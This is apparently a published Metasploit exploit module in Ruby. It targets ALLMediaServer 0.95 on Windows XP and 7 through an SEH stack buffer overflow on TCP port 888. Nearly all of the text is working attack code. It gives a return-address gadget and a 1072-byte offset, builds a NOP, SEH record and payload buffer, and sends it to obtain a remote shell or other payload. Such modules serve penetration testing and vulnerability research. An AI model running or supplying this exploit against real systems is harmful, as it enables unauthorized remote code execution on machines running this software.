ALLMediaServer 0.95 - Remote Buffer Overflow (Metasploit)

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ALLMediaServer 0.95 Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in ALLMediaServer 0.95.
                The vulnerability is caused due to a boundary error within the
                handling of HTTP request.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Anurag Srivastava', # Remote exploit and Metasploit module
                ],
            'References'     =>
                [
                    [ 'EDB', '43406' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process', #none/process/thread/seh
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'BadChars' => "",
                    'Space' => 660,
                    'DisableNops' => true
                },

            'Targets'        =>
                [
                    [ 'ALLMediaServer 0.95 / Windows XP SP3 - English',
                        {
                            'Ret'       =>   0x00408315, # POP # POP # POP # RET
                            'Offset'    =>   1072
                        }
                    ],
                    [ 'ALLMediaServer 0.95 / Windows 7 SP1 - English',
                        {
                            'Ret'       =>   0x00408315, #  POP # POP # POP # RET
                            'Offset'    =>   1072
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 28 2017',
            'DefaultTarget'  => 1))

        register_options([Opt::RPORT(888)], self.class)

    end

    def exploit
        connect
	buffer = ""
        buffer << make_nops(target['Offset'])
	buffer << generate_seh_record(target.ret)
	buffer << make_nops(19)
        buffer << payload.encoded
        print_status("Sending payload ...")
        sock.put(buffer)
	handler
        disconnect
    end
end